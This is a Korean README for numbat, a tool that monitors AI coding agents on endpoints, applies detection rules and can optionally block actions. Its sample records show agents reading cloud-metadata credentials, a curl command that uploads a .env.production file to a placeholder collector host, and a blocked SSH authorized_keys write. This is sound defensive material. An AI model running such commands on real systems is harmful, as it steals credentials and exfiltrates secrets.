
엔드포인트에서의 AI 에이전트 활동에 대한 가시성, 온디바이스 탐지, 선택적 사전 차단, 포렌식 재구성을 제공합니다.
AI 에이전트 활동에 대한 엔드포인트 가시성으로, 로컬 탐지, 선택적 사전 조치 차단, 그리고 포렌식 재구성을 제공합니다.
numbat은 로컬 훅과 플러그인, OTLP/HTTP 로그, 그리고 디스크상의 세션 아티팩트를 통해 지원되는 데스크톱, CLI, IDE, 게이트웨이 에이전트를 관찰합니다. 실시간 및 저장된 활동은 하나의 이벤트 모델로 정규화되어 동일한 CEL 규칙 엔진에 의해 평가됩니다. 탐지는 로컬에서 실행되며, 레코드는 stdout 또는 로컬 파일에 기록될 수 있고 선택적으로 HTTP를 통해 전송될 수 있습니다.
커버리지 매트릭스는 각 호스트와 표면에 대해 권위 있는 자료입니다. 차단은 기본적으로 꺼져 있으며 지원되는 동기식 사전 조치 훅으로 제한됩니다. 강제 적용 가이드를 참조하십시오.
enforce: true로 표시된 규칙에만 적용됩니다. 배포되는 모든 규칙은 모니터 전용입니다.macOS, Linux 또는 Windows의 amd64 또는 arm64용 릴리스 다운로드. 각 릴리스에는 SHA-256 체크섬이 포함되어 있습니다. Go 1.26.10 이상으로도 설치할 수 있습니다:
go install github.com/perplexityai/numbat/cmd/numbat@latest
macOS 또는 Linux:
CGO_ENABLED=0 go build -trimpath -o numbat ./cmd/numbat
Windows PowerShell:
$env:CGO_ENABLED = "0"
go build -trimpath -o numbat.exe ./cmd/numbat
다음 읽기 전용 명령은 훅을 설치하거나 에이전트 구성을 변경하지 않습니다:
numbat agents
# scan all discovered parser-backed agents
numbat scan
# or limit automatic discovery to Codex
numbat scan --agent codex
scan은 기본적으로 발견 사항을 출력합니다. 이벤트와 지표를 포함하려면 numbat scan --emit all을 사용하세요. 미리보기, 전체, 원시 출력 모드에 대해서는 콘텐츠 캡처를 참조하세요.
실시간 캡처 지원이 있는 모든 에이전트에 실시간 모니터링을 설치하세요. 아래 명령은 Codex를 구체적인 예로 사용합니다. 훅은 모니터 전용 모드로 시작합니다. --emit all은 이벤트, 발견 사항, 지표, 그리고 해당되는 적용 결정을 ~/.numbat/records.ndjson에 기록합니다.
numbat hook install --agent codex --emit all
numbat hook status --agent codex
numbat를 업그레이드한 후, 설치된 각 에이전트에 대해 동일한 옵션으로 hook install을 다시 실행하세요. 이는 생성된 훅과 플러그인을 업데이트합니다. 정의가 변경된 경우 호스트 신뢰를 다시 검토하세요.
훅 신뢰: 요구 사항은 에이전트와 범위에 따라 다릅니다. 위의 Codex 사용자 훅의 경우,
/hooks(CLI) 또는 Settings > Hooks(앱)에서 현재 정의를 검토하고 신뢰하세요.--enforce와 같은 변경 후에도 마찬가지입니다.--managed로 설치된 Codex 훅은 정책에 의해 신뢰됩니다.hook status는 구성만 검증하며, 실행이나 전달은 검증하지 않습니다. 다른 에이전트와 범위에 대해서는 배포 가이드를 참조하세요.
배포되는 모든 규칙은 모니터 전용입니다. 탐지를 적용하려면 해당 규칙의 전체 배포된 YAML을 통제된 운영자 디렉터리에 복사하고, 동일한 id를 유지하며, enforce: true를 추가하고 버전을 올리세요. 그런 다음 지원되는 사전 작업 훅에 대해 해당 유효 정책을 검증하고 설치하세요:
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforce
numbat의 생성된 플러그인을 통과한 제어된 OpenClaw before_tool_call 콜백은 제안된 목적지와 실행 컨텍스트를 포함하는 타입 지정 네트워크 이벤트가 됩니다. 또한 고심각도 클라우드 메타데이터 규칙과도 일치합니다.
{
"actor": "assistant",
"confidence": "medium",
"content_preview": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"endpoint": {
"hostname": "developer-workstation", "os": "linux", "arch": "arm64",
"username": "node", "uid": "1000"
},
"event_id": "hook-run-20260724T151125.690671167-fa0a4148090fa1ba",
"event_type": "network.indicator",
"evidence": {"artifact_type": "hook"},
"project_path": "/workspace/acme-api",
"record_type": "event",
"run_id": "run-20260724T151125.690671167-fa0a4148090fa1ba",
"schema_version": "0.5.0",
"session_id": "agent:research:metadata-review",
"source_agent": "openclaw",
"source_type": "hook",
"sub_agent": "research",
"tags": ["network"],
"timestamp": "2026-07-24T15:20:00Z",
"tool_call_id": "tool-cloud-metadata-01",
"tool_name": "browser",
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
한 세션에서 계약상 유효한 두 개의 Claude Code 사전 작업 콜백—비밀 파일 접근, 이어서 제안된 업로드—을 통제된 방식으로 재생하여 이 탐지 결과를 얻었다. 이 규칙은 아티팩트 스캔 중에도 실행되며, 이 탐지 결과는 두 작업 중 어느 것도 완료되었음을 입증하지 않는다.
{
"cited_event_ids": [
"hook-run-20260724T143947.587655000-2030b2e550b19261",
"hook-run-20260724T144025.562634000-e18f9d375ddb1c1b"
],
"confidence": "medium",
"detected_at": "2026-07-24T14:40:29.226642Z",
"endpoint": {
"hostname": "developer-workstation", "os": "linux", "arch": "arm64",
"username": "agent", "uid": "10001"
},
"evidence_refs": [
{"artifact_type": "hook"},
{"artifact_type": "hook"}
],
"finding_id": "fnd-01be6f0c659d060e7c993a73",
"observed_actor": "assistant",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"observed_event_type": "command.exec",
"project_path_hash": "sha256:6780eeb53603bd5da1c0ec3e25d9e94d8be668392f24def8903a2a34f8e3fcb0",
"record_type": "finding",
"redacted": false,
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"run_id": "run-20260724T144025.562634000-e18f9d375ddb1c1b",
"schema_version": "0.5.0",
"session_id": "readme-live-sequence-01",
"severity": "high",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"],
"timestamp": "2026-07-24T14:40:25.562634Z",
"title": "Secret-file access followed by data-bearing egress"
}
authorized_keys 쓰기)버전 1.3에서 enforce: true로 표시된 persistence.ssh_authorized_keys의 동일 ID 운영자 교체가 있는 경우, Codex create_file 사전 작업이 해당 규칙과 일치했고 numbat은 에이전트별 거부 응답을 선택했습니다. 전달 및 강제 적용 의미론은 Decisions를 참조하세요.
{
"action_event_ids": [
"hook-run-20260724T134723.452402000-6886c86cefad57b8"
],
"decision": "deny",
"decision_id": "enf-5132cfdb6ae4d57350ec734d",
"deny_rule_id": "persistence.ssh_authorized_keys",
"deny_rule_version": "1.3",
"endpoint": {
"hostname": "developer-workstation", "os": "linux", "arch": "arm64",
"username": "agent", "uid": "10001"
},
"finding_ids": [
"fnd-f467992648daec0a927b6de7"
],
"mode": "enforce",
"model": "gpt-5.6-codex",
"reason": "enforce_rule_match",
"record_type": "enforcement",
"rule_ids": [
"persistence.ssh_authorized_keys"
],
"run_id": "run-20260724T134723.452402000-6886c86cefad57b8",
"schema_version": "0.5.0",
"session_id": "sess-doc-codex-enforce-01",
"source_agent": "codex",
"source_type": "hook",
"timestamp": "2026-07-24T13:47:23.502411Z",
"tool_call_id": "tool-doc-codex-enforce-01",
"tool_name": "create_file"
}
다른 감지된 동작은 내장 규칙 카탈로그를 참조하세요.
CLI 참조는 전체 레코드 계약, 플래그 및 싱크를 정의합니다. 롤아웃 패턴과 출력 내구성에 대해서는 docs/deployment.md를 참조하세요.
agents, scan, timelinehook install, hook status, hook uninstall, collectshiprules check, rules list, rules testcase build, case verify